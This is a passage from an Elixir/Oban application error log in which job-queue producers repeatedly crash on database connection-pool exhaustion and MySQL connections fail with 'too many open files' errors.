[Sun Sep  6 00:09:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:08:58.238595Z], limit: 20, uuid: "0d17639a-b65e-4632-9a18-054454193dbe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:58.238602Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.160851>, refresh_timer: #Reference<0.2525715032.1099431938.48365>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:08:58.238920Z], limit: 50, uuid: "d4b3884c-8f31-4c6d-8fe9-844908bc920d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:58.238925Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.160855>, refresh_timer: #Reference<0.2525715032.1099431938.48376>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:08:58.239331Z], limit: 5, uuid: "169f6f4f-9695-4f65-a595-5e8bd67398aa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:58.239337Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.160854>, refresh_timer: #Reference<0.2525715032.1099431938.48387>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:08:58.239096Z], limit: 3, uuid: "74e115f9-1a8b-4682-940b-fabae578d19b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:58.239102Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.160850>, refresh_timer: #Reference<0.2525715032.1121189889.160830>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:08:58.238832Z], limit: 5, uuid: "9813cc4d-c462-44de-830b-a732b15a35c9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:58.238837Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.160853>, refresh_timer: #Reference<0.2525715032.1099431938.48372>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:08:58.238851Z], limit: 10, uuid: "93f54d20-1016-4f6f-8e2d-eb7674e15a9b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:08:58.238857Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.160852>, refresh_timer: #Reference<0.2525715032.1099431938.48377>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:11.765000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:12.706000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:14.575000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:15.474000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:18.421000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:09:10.239965Z], limit: 5, uuid: "60b98a81-ac50-44c5-8643-15f017e134d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:10.239972Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161221>, refresh_timer: #Reference<0.2525715032.1068498948.48409>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:09:10.241415Z], limit: 3, uuid: "9cba1cc8-09f9-4c9f-b3b3-13cf981e9244", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:10.241421Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161218>, refresh_timer: #Reference<0.2525715032.1121189889.161207>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:09:10.240909Z], limit: 10, uuid: "d83c78bd-b1fc-4680-9cdb-d1d967ef3a5c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:10.240916Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, 